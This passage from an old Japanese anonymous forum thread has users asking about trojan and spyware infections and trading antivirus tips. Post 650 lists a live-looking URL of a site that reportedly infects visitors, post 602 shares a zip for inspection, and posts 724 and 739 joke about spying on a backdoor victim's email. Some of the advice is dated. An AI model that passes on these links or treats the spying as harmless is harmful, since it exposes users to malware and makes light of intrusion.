【症状を具体的に、分かる限りすべて書く】 １７０００portを1秒間に20回使用される
【何をしたらそんなことになったのか】 リアル友人にエロアニメもらった、あとアメリカの
ネトゲサイトを回ってみたり（notエロ）、
【これまでにとった措置】 全スキャン5回（ノートン）ネットスキャンというスキャンを試した
【その他の質問】
リバーストロージャンの疑いが高いです。検出してレジストリからも消してしまいたいです
0562名無しさん＠お腹いっぱい。
NGNGはぁ？知ってるならやれば？
0563名無しさん＠お腹いっぱい。
NGNGttp://f57.aaa.livedoor.jp/~kumakuma/tool/virus.html
Spy-Ad ExterminatorってAd-awareSEよりよさげな感じ。
0564名無しさん＠お腹いっぱい。
NGNG＞ １７０００portを1秒間に20回使用される
外から？中から？
0565名無しさん＠お腹いっぱい。
NGNG嘘つくな
>>1セキュリティー関係で質問ある方は下記へどうぞ。
ここで質問しろなんて書いてないぞ。
0566名無しさん＠お腹いっぱい。
NGNGa2ないのね・・・・
0567名無しさん＠お腹いっぱい。
NGNG>サービスに二種類登録されてるけれど無効にして、ewidoをアインスコし
笑うとこですか？
0568名無しさん＠お腹いっぱい。
NGNG(ﾟДﾟ) (ﾟДﾟ)
(ﾟДﾟ) (ﾟДﾟ) (ﾟДﾟ)(ﾟДﾟ)(ﾟДﾟ) ???????
(ﾟДﾟ) (ﾟДﾟ) (ﾟДﾟ) ?? ??
(ﾟДﾟ) (ﾟДﾟ) (ﾟДﾟ)(ﾟДﾟ) ??
(ﾟДﾟ) (ﾟДﾟ) (ﾟДﾟ) ??
(ﾟДﾟ) (ﾟДﾟ) (ﾟДﾟ) ??
(ﾟДﾟ) (ﾟДﾟ) (ﾟДﾟ)
(ﾟДﾟ) (ﾟДﾟ) (ﾟДﾟ) ??
0569名無しさん＠お腹いっぱい。
NGNG意味不明な事を書いてんじゃねーよ、ボケ
0570名無しさん＠お腹いっぱい。
NGNG// |:!
//,. -/r‐- ､| !
/,/ ./ | _」 ﾄ､
/.＼`/ |二...-┘ ヽ
. i ,.>､;／ｰ- ､ l
! ∠..＿;'＿＿＿_＼ |
,!ｲ く二>,.、 <二＞｀＼.､ヽ.
／'´レ--‐'ﾉ. `ｰ---- ､ |＼ ヽ、
＼ `l (!" Jfヽ! `''-;ゝ
`‐､jヽ ヾﾆﾆ> ﾞｲ" }_,,. ‐''´
`´＼ ｰ ／ ,ィ_}
. |_ `ー ''´ ＿｣'
＿,.| ~||｢ ￣ 人|､.＿
,r=＝;"´ ヽ ﾐ|||彡 ／ ` ｰ`＝=､-､
. ///,ｲ ＿＿_ ヽ|||_,,. ‐''´＿＿＿ | | | |ヽ
0571名無しさん＠お腹いっぱい。
NGNGLatinus v1.4.clというトロイが検出されました。
a2やad-aware、Spybotでは検出されませんでした｡
どういうトロイなのか知っている人いないでしょうか。お願いします｡
0572名無しさん＠お腹いっぱい。
NGNG0573名無しさん＠お腹いっぱい。
NGNG0574名無しさん＠お腹いっぱい。
NGNGバックドア系のハックツール
0575名無しさん＠お腹いっぱい。
NGNG木馬繋がりか。
0576名無しさん＠お腹いっぱい。
NGNG0578名無しさん＠お腹いっぱい。
NGNGDHCP認識しなくなって XP SP2 導入後
WINカタログをリセットさせてようやく復旧
4時間もかかった・。・ﾟ(´д⊂)ﾟ･｡･
しっかりしてくれよVB
0579名無しさん＠お腹いっぱい。
NGNG我々に関心があるのは、なにしていてTROJ_AGENT.BRをくらったか、なんだが。
0580名無しさん＠お腹いっぱい。
NGNGノートン買えば大丈夫
0581名無しさん＠お腹いっぱい。
NGNGマイヤヒー！マイヤフー！
＼＼ マイヤホー！ ／／
+ + ＼＼ マイヤハッハー！！／／+
+
. + ／■＼ ／■＼ ／■＼ +
（ ´∀｀∩（´∀｀∩） （ ´ー｀）
+ （( （つ ノ（つ 丿 （つ つ )） +
ヽ （ ノ （ ヽノ ） ） ）
（＿）し' し（＿） （＿）＿）
ﾏｲﾔﾋ-ﾌﾞｰﾑの火付け役になったフラッシュ
http://pinkmelon.net/maiyahi/maiyahi.htm
記憶が定かでないがたぶん↑ここのリンク先（踏まないようにﾈ・・ここは大丈夫なんだけど）
>>580
なんかここ半年ほどシマンテックのほうが対応いいよね
のりかえようかなぁ・・・・・・・
0582名無しさん＠お腹いっぱい。
NGNG0583名無しさん＠お腹いっぱい。
NGNG0584名無しさん＠お腹いっぱい。
NGNGttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/jp_docid/20030926221125958
0585名無しさん＠お腹いっぱい。
NGNG0586名無しさん＠お腹いっぱい。
NGNG0587名無しさん＠お腹いっぱい。
NGNG0588名無しさん＠お腹いっぱい。
NGNG0589名無しさん＠お腹いっぱい。
NGNG0590名無しさん＠お腹いっぱい。
NGNG0591名無しさん＠お腹いっぱい。
NGNGつAranea Spywizard ttp://www.freeimagebrowser.com/
つSpy-Ad Exterminator ttp://www.oreware.com/
0592名無しさん＠お腹いっぱい。
NGNG0593名無しさん＠お腹いっぱい。
NGNG0594名無しさん＠お腹いっぱい。
NGNG0595名無しさん＠お腹いっぱい。
NGNGPrevx Home ttp://www.prevx.com/prevxhome.asp
0596名無しさん＠お腹いっぱい。
NGNG大変なことになりそうだな。
0597名無しさん＠お腹いっぱい。
NGNG変な症状がトロイで出ることありますか？
0598名無しさん＠お腹いっぱい。
NGNGなんか同じような文をどっかで見かけた
その現象流行ってるのか？
0599名無しさん＠お腹いっぱい。
NGNG0600名無しさん＠お腹いっぱい。
NGNG「不正アクセスしてくるIPを…」
http://pc5.2ch.net/test/read.cgi/sec/1092025431/l50
ここの875で報告したんだが
「釣り」だと言われていまったよ('A`)
0601名無しさん＠お腹いっぱい。
NGNG詳細: ルール「Ultor's トロイの木馬のデフォルト遮断」が www.google.co.jp(64.233.189.104)、1234 を遮断しました。
インバウンド TCP 接続
ローカルアドレス、サービスは (*************(192.168.1.2)、1234)
リモートアドレス、サービスは (www.google.co.jp(64.233.189.104)、http(80))
（・３・）アルェ～？ ←釣り扱いの原因はこれ
0602名無しさん＠お腹いっぱい。
NGNG鑑定していただけませんか？
ttp://cgi28.plala.or.jp/ll/lll/img20041218200143.zip
0603名無しさん＠お腹いっぱい。
NGNG0604名無しさん＠お腹いっぱい。
NGNG0605名無しさん＠お腹いっぱい。
NGNG0606名無しさん＠お腹いっぱい。
NGNGマルチしやがったな。もう答えねえ。
0607名無しさん＠お腹いっぱい。
NGNG２階の窓から投げ捨てろ
0608名無しさん＠お腹いっぱい。
NGNGこれ入れて2ヵ月
Prevx has detected 3816 potential intrusion attacks on this system
ﾊｧ?
気にしな～ぃ 気にしな～ぃ 気にしな～ぃんだよ～♪
0610名無しさん＠お腹いっぱい。
NGNGもう一度引き直し 明けおめ
0613名無しさん＠お腹いっぱい。
NGNG0614名無しさん＠お腹いっぱい。
NGNG・・・山崎邦正ばりに笑いの神が降りて来てるな、生㌔ｗ
0616名無しさん＠お腹いっぱい。
NGNG0617名無しさん＠お腹いっぱい。
NGNG素直に言えば
一番がTiny、2番がSSM あとは気休め程度で大差ない。
0618名無しさん＠お腹いっぱい。
NGNG当然アンチウイルスを入れた上でさらに補強すればの話。
0619名無しさん＠お腹いっぱい。
NGNG確かに、Tinyの砂箱は強力だがVirtual PCなど使って怪しいアプリは仮想上で
実行してみるのも効果的だと思う。
されに、どうにもならないような問題が起きてしまった時はバックアップツール
を使ってシステムのイメージから書き戻せる体制があれば心強いよな。
0620名無しさん＠お腹いっぱい。
NGNG出た後でうんともすんとも…という状態になります。
ノートンアンチウィルスやネットセキュリティではなんも出来んということ？？
0621名無しさん＠お腹いっぱい。
NGNG普通そんなことにはならない。というか、もしそのような障害が出れば
大騒ぎになるのでは？
少なくとも漏れは無問題だ。
0622名無しさん＠お腹いっぱい。
NGNGうっ、ありがとうございます。
ひゃーどうしたらいいのー検索しようにも…！もうダメ？！と焦って、
勝手に絶望してますた。
ちょっと落ち着いて、初めから勉強してみます。
0623名無しさん＠お腹いっぱい。
NGNG一つ選ぶとしたらTauscanかなあ。皆さんはどうですか？
それともトロイ系はやはりノートンが鉄板なのかなあ・・・
0624名無しさん＠お腹いっぱい。
NGNG0625名無しさん＠お腹いっぱい。
NGNG初心者のうちは、新種のウイルスやトロイに対応が少しは早い
ノートンのアンチウイルスが無難だと言えるかな。
あとは、各自の環境やスキルに応じてセキュリティ環境の構築が
微妙に違ってくると言うのが流れだな。
0626名無しさん＠お腹いっぱい。
NGNGProcessGuard入れてるんだったら感想を聞かせて欲しい。
漏れは2年ぐらい前に2回ほどProcessGuard試したんだが起動段階でハング
したので、その当時は日本語環境では使えないと思った。
0627名無しさん＠お腹いっぱい。
NGNGノートンとか使い勝手良いのかしら。
0628名無しさん＠お腹いっぱい。
NGNG0629名無しさん＠お腹いっぱい。
NGNGC\RESTORE\TEMPの.CPYにてTrojan-genが検出されました。
変なEXE動いてるかみても怪しい物はなく、隠しファイルに入ってる
物なので消しちゃいけないかと思い、ご教授して頂きたい。
0630名無しさん＠お腹いっぱい。
NGNG一応他のでも試してみては？BitDefenderとかAntidoteとか
0631名無しさん＠お腹いっぱい。
NGNGありがとうございます、自信がなかったもので。
一応他で試して又報告させていただきます。
0632名無しさん＠お腹いっぱい。
NGNG結果は綺麗なもんでした・・・・
ありがと。おやすみ('A`)ﾉｼ
0633名無しさん＠お腹いっぱい。
05/01/26 03:26:45知らないうちに情報が漏れたりしてるんでしょうか・・・
0634名無しさん＠お腹いっぱい。
05/01/27 17:35:31でもまぁなんだ、漏れてなかったと自己暗示すればいいのさ。
0635名無しさん＠お腹いっぱい。
05/02/01 19:45:490636名無しさん＠お腹いっぱい。
05/02/04 01:53:11(＾＾)y━~~
0637名無しさん＠お腹いっぱい。
05/02/12 21:15:400638名無しさん＠お腹いっぱい。
05/02/13 16:50:470639名無しさん＠お腹いっぱい。
05/02/13 16:57:16いや、セキュリティホールが残っていたら、ウェブサイト経由でインストールされちまう
だから、ウィンドウズアップデートする
0640名無しさん＠お腹いっぱい。
05/02/13 17:06:03なるほどありがとうございます。
ノートンでトロイが検出されてしまったので。
削除のみしたのですがなんか心配になって。
ウインドウズアップデートもしてみます。
0641名無しさん＠お腹いっぱい。
05/02/13 18:33:28なるほどありがとうございます。
ノートンでトロイが検出されてしまったので。
削除のみしたのですがなんか心配になって。
ウインドウズアップデートもしてみます。
0642名無しさん＠お腹いっぱい。
05/02/14 17:04:200643名無しさん＠お腹いっぱい。
05/02/15 23:00:47あまい、もうちょっと勉強したほうがいいよダウンロードして勝手に実行するのもあるよ
0644名無しさん＠お腹いっぱい。
05/02/15 23:02:51これら自動的に行うのがダウンロード トロジャン
0645名無しさん＠お腹いっぱい。
05/02/15 23:04:500646名無しさん＠お腹いっぱい。
05/02/15 23:16:110647名無しさん＠お腹いっぱい。
05/02/16 04:39:46jpgなどの画像ファイルにトロイがバインドされていた場合どうなるのですか？
画像を表示しただけで起動してしまうのでしょうか？
動画にバインドされていた場合もプレビューが表示された時点で起動してしまうのでしょうか？
0648名無しさん＠お腹いっぱい。
05/02/16 05:15:18http://e-words.jp/n/JPEG.html
一般の人はWindowsのセキュリティパッチを欠かさず当てていれば過度に心配
する必要もないと思う。
トロイなどに利用される脆弱性は一般の人が気付かなくても研究者によって
絶えずチェックされて見つかれば警告→修正パッチリリースという流れだから
蔓延する前に穴を突かれてトロイにやられる人は余程ツキがないと思った
ほうがいいと思う。
0649名無しさん＠お腹いっぱい。
05/02/16 05:23:02それよりも、初心者が気をつけるべきなのは、HTMファイルを単にJPGなどの拡張子に
変えてWeb上に置いてあるものを画像だと思ってクリックしてアダルトサイトなどに繋げられて
スクリプト操作でスパイウェアやトロイを仕込まれることかと。
これはJavaScriptやActiveXをむやみに許可しないことで防げます。
0650名無しさん＠お腹いっぱい。
05/02/16 07:31:19このサイトを踏んだら ttp://69.50.161.142/inc/nan7.html （←危険！！）
JAVA_BYTEVER.Aというスパイウェアに感染してしまいました。
当時Windows XPでSP2はインストールしていませんでした。
慌ててSP2をインストールし、 マイクロトレンドのウィルスバスター2005の無償版で
とりあえずJAVA_BYTEVER.Aは隔離できたようなんですが、 まだ解決していない問題がいくつかあります。
1.ホームページを「about:blank」にしているにもかかわらず、IEを開くと
ttp://www.geocities.jp/sutesaite/img/spyware.jpg
というサイトが開きます。 [uninstall homepage]をクリックしても
ttp://www.geocities.jp/sutesaite/img/stopzilla.JPG という広告サイトに移ります。
2.時折勝手に ttp://www.geocities.jp/sutesaite/img/site.JPG というアダルトサイトのポップアップが開きます。
3.時折勝手に ttp://www.geocities.jp/sutesaite/img/wsc.jpg というメッセージが開き、[YES]ボタンを押すと
ttp://www.geocities.jp/sutesaite/img/wsc2.jpg というサイトに移ります。
一見マイクロソフトのページのように見えますが実はそうではないようで、
[Download Recomemnded Software]をクリックすると
ttp://www.geocities.jp/sutesaite/img/stopzilla.JPG という広告サイトに移ります。
4.時折勝手に ttp://www.geocities.jp/sutesaite/img/risk.JPG というサイトが開きます。
バルーンをクリックすると ttp://www.geocities.jp/sutesaite/img/fightspyware.JPG
というのが表示され、[REMOVAL TOOLS]をクリックしても
ttp://www.geocities.jp/sutesaite/img/stopzilla.JPG という広告サイトに移ります。
使用OS:Windows XP Home Edition
使用ブラウザ:IE6.0.2900.2180.xpsp_sp2rtm.04083-2158
使用PC:DELL DEMENSION 8300
よろしくお願いします。
0651名無しさん＠お腹いっぱい。
05/02/16 07:53:42ウィルス情報＆質問 総合スレッド☆Part27
http://pc5.2ch.net/test/read.cgi/sec/1104587430/898
（・∀・）ﾆﾔﾆﾔ
0652名無しさん＠お腹いっぱい。
05/02/18 09:11:560653名無しさん＠お腹いっぱい。
05/02/18 13:00:16ぐぐってみても、ＫＸは見つからないんです。
ファイルを削除しても削除してもリアルタイム検索に引っかかります…
0654名無しさん＠お腹いっぱい。
05/02/18 13:14:50別名Troj/Codeine-A
http://www.sophos.com/virusinfo/analyses/trojcodeinea.html
検出ファイルに関連があるサービスがここに登録されていると思われる。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
0656名無しさん＠お腹いっぱい。
05/02/18 13:26:00はぁ？解説見て手動で退治するんだよ。
0657名無しさん＠お腹いっぱい。
05/02/18 21:32:51nly offer cursory support should the application malfunction
, for example by locking up every time you boot your computer. Neither do they o
ffer a user-friendly interface. Of course, any protection is
better than none at all, but do you really want to spend hours on end learning h
ow to use such a tool? And can you really be sure that your
system is properly protected afterwards?
In that respect, Tauscan offers you a user-friendly tool that runs without any u
ser intervention and can be installed without the need for a
ny computer literacy on the part of the user.
Installing Tauscan also ensures that your system remains fully protected against
new strains that appear almost daily by allowing you to
download the latest updates directly from our web site.
0658名無しさん＠お腹いっぱい。
05/02/18 21:33:56Computer enthusiasts developed most of the popular anti-Trojan type of programs
currently available that are in the same class and price range of Tauscan. Altho
ugh they do offer some protection against Trojan viruses, they lack the expertis
e that comes with a product developed by a company that specializes in anti-Troj
an technology. A great many of these utilities lack proper protection because th
ey are only capable of finding a limited number of Trojans. In addition, most of
them only offer cursory support should the application malfunction, for example
by locking up every time you boot your computer. Neither do they offer a user-f
riendly interface. Of course, any protection is better than none at all, but do
you really want to spend hours on end learning how to use such a tool? And can y
ou really be sure that your system is properly protected afterwards?
In that respect, Tauscan offers you a user-friendly tool that runs without any u
ser intervention and can be installed without the need for any computer literacy
on the part of the user.
Installing Tauscan also ensures that your system remains fully protected against
new strains that appear almost daily by allowing you to download the latest upd
ates directly from our web site.
0659名無しさん＠お腹いっぱい。
05/02/18 21:38:24おまけに切る箇所も適当ってｗ
さしずめお前馬鹿だな >>657-658
0660名無しさん＠お腹いっぱい。
05/02/18 22:07:31【使用OS】Windows Xp Pro
【WindowsUpdateしてるか】最近してない
【使用AntiVirusソフト】AVG7.0 （確認できない状態なので細かくはわかりません）
【AntiVirusをUpdateしてるか】してる
【ウイルススキャンの結果】脅威なし
【オンラインスキャンしたなら結果】 してません。
【症状、具体的に分かる限りすべて書く】画面に「♂♀」がでてあえぎ声がする
【何をしたらそんなことになったのか】友人から送られたzip解凍後「偽装解除.bat」を踏んでしまった
【これまでにとった措置】batファイルを踏む前にスキャンしたものの脅威なしと出たので実行。上記の症状となりCtrl+alt+Delもきかない状態に。
その後、セーフモードで起動し、本体と思れるものを c\windows\system32 から消したところ、♂♀とあえぎ声はでなくなりましたが、exe系が片っ端から実行できません。
なので、窓の社なども起動できません。 タスクトレイも時計しか表示されていません。
『regedit』も立ち上がらないのですが、再インストールしか方法はないのでしょうか？
0661名無しさん＠お腹いっぱい。
05/02/18 22:11:450662名無しさん＠お腹いっぱい。
05/02/18 23:56:15駆除の方法が全くわかりません。自分の駆除ソフトでは対応していないので
自分で駆除する方法を調べていますがわかりません。
どなたかご親切な方がいたら教えてください。よろしくお願いします。
0663名無しさん＠お腹いっぱい。
05/02/19 00:08:280664名無しさん＠お腹いっぱい。
05/02/19 00:21:36ﾜﾛﾀ
0665名無しさん＠お腹いっぱい。
05/02/19 11:48:52ノートンでスキャンすれば削除可能
0666名無しさん＠お腹いっぱい。
05/02/20 15:10:41この前の俺と一緒だ。トレンドも検知できなかったよ。
俺はバックアップから戻してどうにかした。
テキストファイルを新規作成後、バッチファイルにリネームして
cmd（XPだったので）て入力して保存後、ダブルクリックして実行、
DOS窓が起動したら、EXEを直接実行すると起動できるものもあった。
次回のために直せたら教えてね。
0667名無しさん＠お腹いっぱい。
05/02/23 14:50:53しかたなくリカバリーしたんだけど、サウンドデバイスがこわれるわ、メルブラのキャラの動きが遅いわでもうサイアク！
・・・ウイルスバスターで検索したら、「TORJ_SMALL.SN」ってでたんだけどもしかしてこれが原因？
0668名無しさん＠お腹いっぱい。
05/02/23 17:08:35完全復活！以上！
0669名無しさん＠お腹いっぱい。
05/02/24 04:14:17御洒落さんだね！
0670名無しさん＠お腹いっぱい。
05/02/24 04:19:50ウィルス検索ソフトのANTIDOTEで感染ファイルが見つかりました。
C:\Program Files\Windows Media Player\wmplayer.exe.tmp が、
Trojan-Downloader.Win32.Agent.cm に感染との事です。
対処法を探そうと検索しましたが、シマンテックとトレンドマイクロでは
Trojan-Downloader.Win32.Agent.** と最後の部分が違うのは数種類有るのですが
最後がcmのは登録されてないようで、分かりませんでした。
両社のオンラインスキャンも試しましたが、どちらも結果は感染無しになります。
この場合、単にwmplayer.exe.tmpファイルを削除するだけで良いでしょうか？
一応このファイル名でレジストリを検索してみましたが何も有りませんでした。
又、このファイルの作成日時はWindows Media Playerフォルダの他のファイルと同じ
2002/08/02なので（wmplayer.exe.tmpだけが後に更新されてます。）、
元々あるファイルのようですが、削除したらWMPが起動しなくなってしまうのでしょうか？
（wmplayer.exeファイルは別に有ります。）
0671名無しさん＠お腹いっぱい。
05/02/24 04:38:20さっさと削除しろ
万が一起動しなくなっても
ダウンロードセンターからダウンロードすればいいだけ
0672名無しさん＠お腹いっぱい。
05/02/24 05:23:02ANTIDOTEはKasperskyのデータ使ってるからシマンテックやトレンドマイクロよりも信頼性が高い。
それにウイルスに対する命名は各社各様で異なるから名前が違って当り前。
ANTIDOTEで検出したのなら迷わず削除しれ
0673名無しさん＠お腹いっぱい。
05/02/24 18:58:50・・・・・なんで？？
0674名無しさん＠お腹いっぱい。
05/02/24 19:19:10削除もできたらなぁ(´･ω･｀)
0675名無しさん＠お腹いっぱい。
05/02/24 19:44:300676名無しさん＠お腹いっぱい。
05/02/25 03:02:250677名無しさん＠お腹いっぱい。
05/02/25 03:29:030678名無しさん＠お腹いっぱい。
05/02/25 04:09:240679名無しさん＠お腹いっぱい。
05/02/25 04:21:530680名無しさん＠お腹いっぱい。
05/02/25 14:23:000681名無しさん＠お腹いっぱい。
05/02/25 17:18:36アンチウイルス系の定義ファイルをまめに更新する。
↑で対応しきれないトロイは、FW+砂箱で対応するしか他に方法はない。
フリーの砂箱は
・SSM： 今はフリーだが、安定動作するようになったらシェアになるとか。
・Process Guard： 機能限定でフリー版があるが、どの程度のものか分からない。
SSMは入門レベルの砂箱だが↓のテストトロイは全てブロックできる。
http://www.firewallleaktester.com/tests.htm
0682名無しさん＠お腹いっぱい。
05/02/25 17:24:09×SSMは入門レベルの砂箱だが↓のテストトロイは全てブロックできる。
○SSMは入門レベルの砂箱だがFWと併用すると↓のテストトロイは全てブロックできる。
0683名無しさん＠お腹いっぱい。
05/02/25 17:36:300684名無しさん＠お腹いっぱい。
05/02/25 22:06:31誰かデータ持ってたらきぼんぬ。
0685名無しさん＠お腹いっぱい。
05/02/26 00:47:410687名無しさん＠お腹いっぱい。
05/02/26 01:32:06そんなの使ってレポート書くなよ。信用できないから。
0688名無しさん＠お腹いっぱい。
05/02/26 14:32:32【sandbox】 砂場、砂箱
保護された領域内でのみプログラムを動作させて安全を確保している。
もし、砂場（保護された領域内）から安全でない領域への動きがあれば
ユーザに許可を求めたり、または遮断することなどが可能。
0689名無しさん＠お腹いっぱい。
05/02/27 14:32:56てきてしまいました・・・
PC初心者なのでどうしたらいいのやらなんです。
なにか対処方法を教えていただけませんか？
0690名無しさん＠お腹いっぱい。
05/02/27 14:43:02漏れも念のためPestpatrol、Ad-Aware、Spybot入れてるが、McAfeeがリアルタイムで弾いてくれる。
0691名無しさん＠お腹いっぱい。
05/02/27 15:20:28同じ経験あるけど、再起動時に削除する、みたいな感じで普通に削除してくれた。
0692名無しさん＠お腹いっぱい。
05/02/27 15:41:550693名無しさん＠お腹いっぱい。
05/02/27 17:29:220694名無しさん＠お腹いっぱい。
05/02/27 18:04:44ありがとうございましたｗ
0695名無しさん＠お腹いっぱい。
05/02/27 19:25:03なんか最近トロイがよくいらっしゃるんだけど。
ノートンで遮断されるからいいけど、何故だ？
0696名無しさん＠お腹いっぱい。
05/02/27 20:22:33ノートンのオオカミ少年的営業方針なんだから、
何も心配することはないと言うのが一般的な常識になっている。
分かり易く言えば、トロイに感染していない限りまったく問題ない。
ただ、実際トロイに感染していたら警告はでないだろうからな、困ったもんだ。
0697名無しさん＠お腹いっぱい。
05/02/28 21:41:41http://www.moosoft.com/
30日間お試し。
2005年2月24日のデータだと、20912のトロイに対応。
0698名無しさん＠お腹いっぱい。
05/03/01 02:17:32マカフィは便利だよな
たまにエロサイト見てるとトロイの木馬に引っかかるが
自動的に駆除してくれる。
0699名無しさん＠お腹いっぱい。
05/03/01 02:58:43何か登録手続き求められるだろ？登録したら、あとあとウザくない？
0700名無しさん＠お腹いっぱい。
05/03/03 20:46:31トロイの木馬の TOROJ_SECONDT.A に感染してどうしようもないのです。
どなたか駆除方法教えてください。
0701i219-167-234-36.s02.a003.ap.plala.or.jp
05/03/03 21:22:14日本、』イギリス、アメリカの、どのサイトでも
その「文字列」は、検索不可だった。
新種？ ネタ？
0702名無しさん＠お腹いっぱい。
05/03/04 04:29:55よく嫁
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_SECONDT.A
0703名無しさん＠お腹いっぱい。
05/03/04 05:56:18と、同時にabout.blankというスパイウェアにも感染してしまいました
ウイルスバスターで前者は発見できましたが隔離できませんでした。ぐぐってみても検索結果０件です。
トレンドマイクロのホームページにもまだ情報が載っていません。
どうしたらいいのでしょうか。破壊活動は着々と進んでいるようです。
リカバリするか、トレンドマイクロの対応を待った方がいいのでしょうか
0704名無しさん＠お腹いっぱい。
05/03/04 06:10:50TROJ_STARTPAGE.Q(Trend)
スペル確認してみて。ぐぐったら出てきた。
当方初心者なので力にはなれない。
0705７０３
05/03/04 06:42:27いまみたらかなり破壊活動が進んでました・・・
0706名無しさん＠お腹いっぱい。
05/03/04 06:44:43早く上級者が来ればいいな。
0707名無しさん＠お腹いっぱい。
05/03/04 07:34:39答える気にもならんというのが本音。
0708名無しさん＠お腹いっぱい。
05/03/04 18:08:54わしはいつもそうしているし・・・
0709名無しさん＠お腹いっぱい。
05/03/04 19:56:23リモートアドレス (221.154.231.231、4360)
入検知が NetBus トロイの木馬のデフォルト遮断
トロイの木馬を検出して遮断しました。
221.154.231.231 とのすべての通信は
0710名無しさん＠お腹いっぱい。
05/03/04 19:58:53ネットに接続してるだけでも、侵入してくるの？
0711名無しさん＠お腹いっぱい。
05/03/04 20:03:340712名無しさん＠お腹いっぱい。
05/03/04 20:50:25接続してるだけで感染？
詳しく！！
0713名無しさん＠お腹いっぱい。
05/03/04 21:30:14071470３
05/03/05 09:25:49ありがとうございます。
これから属性の外し方を勉強してさっそく実行してみます！！
TROJ STARTPAG.QA をウイルスバスターでせっかく隔離できたのに、また復活してました。しかも
TROJ STARTPAG.ET という新種まで産まれてる始末です。
・・・ウイルスバスタじゃもう駄目か
0715名無しさん＠お腹いっぱい。
05/03/05 10:22:32なんだあ 復活するようになったら、エロ助サイト行き
復活のロジックを勉強して来い
0716名無しさん＠お腹いっぱい。
05/03/06 13:27:150717名無しさん＠お腹いっぱい。
05/03/06 16:04:31ノティファイがローカルアドレスだらけだとです…
ヒロシです…
XPに接続できません…
ヒロシです…
Hiroshi-Devil…言ってみただけとです…
ヒロシです…ヒロシです…
0718名無しさん＠お腹いっぱい。
05/03/06 17:18:35__,,,,,,
───── ,.-'''"-─ `ー,--─'''''''''''i-､,, .' ， ．. ∧＿∧
──── ,.-,/ /::::::::::::::::::::::!,, ＼ .∴ ' （>>717 ）
──── （ ,' i:::::::::::::::::::::;ﾉ ヽ-､,,/''ー'''"7', ・,‘ ｒ⌒> _／ ／
￣￣￣￣ `''| |:::::::::::::::::::::} ｀`ー''". ’ | ｙ'⌒ ⌒i ｶﾞｯ
───── ! '､:::::::::::::::::::i | ／ ノ ｜
＿＿＿＿＿＿_ '､ `-=''''フ'ー''ヽ、::::::::::/ヽ､-─-､,,-'''ヽ , ー' ／´ヾ_ﾉ
─────── ＼＿／ ヽ--く _,,,..--┴-､ ヽ ／ , ノ
｀`" ＼>' ／ ／
／ ／ ,'
／ ／| |
!､＿／ / 〉
|_／
0719名無しさん＠お腹いっぱい。
05/03/06 21:21:50ﾜﾗﾀ
0720名無しさん＠お腹いっぱい。
05/03/07 12:14:40ノトーン反応したから、また誤爆反応かと思いきや
修復しねぇ消去しねぇときたから、調べてみたら
Backdoor.Nibu.D とかいうやつに感染してたorz
感染場所がギコナビフォルダなので
ギコナビアインスコして、2種スキンしたら
発見されなかったんだけど、大丈夫ってことでO
ｋ？
0721名無しさん＠お腹いっぱい。
05/03/07 12:56:550722名無しさん＠お腹いっぱい。
05/03/07 14:07:300723名無しさん＠お腹いっぱい。
05/03/07 20:16:410724名無しさん＠お腹いっぱい。
05/03/07 20:43:50victimがゲームしかしないとです…
ヒロシです…
メール覗いたらバリバリの左翼だったとです…
ヒロシです…
「やっほぉ♪」って送ったら「あ？殺すぞ？」って返ってきたとです…
ヒロシです…ヒロシです…
0725名無しさん＠お腹いっぱい。
05/03/07 20:58:07∧＿∧
_（ ´_ゝ｀）
／ ） ＿ _
/ .イ 、 ノ/ ∧ ∧―＝￣ ｀ヽ. ＿
/ / | （ 〈 ∵. ・（ 〈＿_ > ゛>>724、＿―
｜ ! ヽ ー＝-￣￣＝_、 （／ . ´ノ
｜ | ｀iー＿＿＝―＿ ;. ／ ／ ／
!、リ -=＿二＿＿￣_=;. ／ ／ .'
/ / ／ ／| |
／ / !、＿／ / 〉
／ ＿/ |_／
ヽ、＿ヽ
0726名無しさん＠お腹いっぱい。
05/03/07 21:07:21ﾜﾗﾀ
0727名無しさん＠お腹いっぱい。
05/03/07 22:55:15tempの中にあったse.dllってのが感染してたみたい。
about:blank でsearch forというページにスタートアップ時のHPを固定しやがる
とりあえずトロイは脳豚で消したがスパイウェアが消えねぇー
0728名無しさん＠お腹いっぱい。
05/03/07 22:58:140729名無しさん＠お腹いっぱい。
05/03/10 02:57:43ネットの先頭がＳｅｒｃｈ ｆｏｒに変えられる。スパイウェアを駆除した後、ＡＶＧでトロイも消したが、
ここ三日ほど何度となく感染している。ウィンドウズ起動時に一瞬何かのウィンドウが開きすぐ消えるのだが
このトロイについての詳細キボン。
0730名無しさん＠お腹いっぱい。
05/03/10 03:44:28ふざけてるの？
0731名無しさん＠お腹いっぱい。
05/03/10 05:46:500732名無しさん＠お腹いっぱい。
05/03/11 14:53:350733教えてください
05/03/12 13:20:31ノートンでは対応できず、「システムの復元のチェック」で削除するのですが、再起動するとまたあらわれます。
レジストリに関係あるのかもしれませんが、くわしくはわかりません。
削除する方法をおしえていただけないでしょうか？宜しくお願いします。
0734名無しさん＠お腹いっぱい。
05/03/12 13:31:12こういうページがすぐに見つかるんだが、ここに書き込む前にたどり着けないか？
http://www.symantec.com/region/jp/avcenter/venc/data/pwsteal.trojan.html
それらをやってみて分からないところがあったら具体的に書いて初めて誰かに尋ねてみる。
質問があってもみんなスルーされるのはそういう調査手順もなしに助けてとだけ言うからだと思う。
0735名無しさん＠お腹いっぱい。
05/03/12 14:45:38漏れもタスクバーに何か出るが今は問題なし。
ウイルスなのか？
0736名無しさん＠お腹いっぱい。
05/03/12 21:13:31WINDOWS\SYSTEMフォルダに lhnngaa.dll がありませんか？
lhnngaa.dllを削除すると、se.dllが復活しなくなった。
lhnngaa.dllが何なのか判らんし、削除して、他に影響があるかどうかはわかりませんが。
0737名無しさん＠お腹いっぱい。
05/03/13 09:11:58about:blankについてはこちらでチェックしてみるといいですよ。
http://www.higaitaisaku.com/removeaboutblank.html
0738名無しさん＠お腹いっぱい。
05/03/13 16:24:45hijack thisのログを送っていだくとチェックできるかもしれません。
http://www.higaitaisaku.com/hijackthis.html
0739名無しさん＠お腹いっぱい。
05/03/14 02:10:46メール覗いたらサポートに「ナリ対策とか教えて」とか送ってるとです…
ヒロシです…
よくみると五分後に「頼むから返事してよ」とか送ってるとです…
ヒロシです…
厨の溜まり場では一つの罠に十人もひっかかるとです…
ヒロシです…
その十人中十人にMXがインストールされてるとです…
ヒロシです…ヒロシです…
0740名無しさん＠お腹いっぱい。
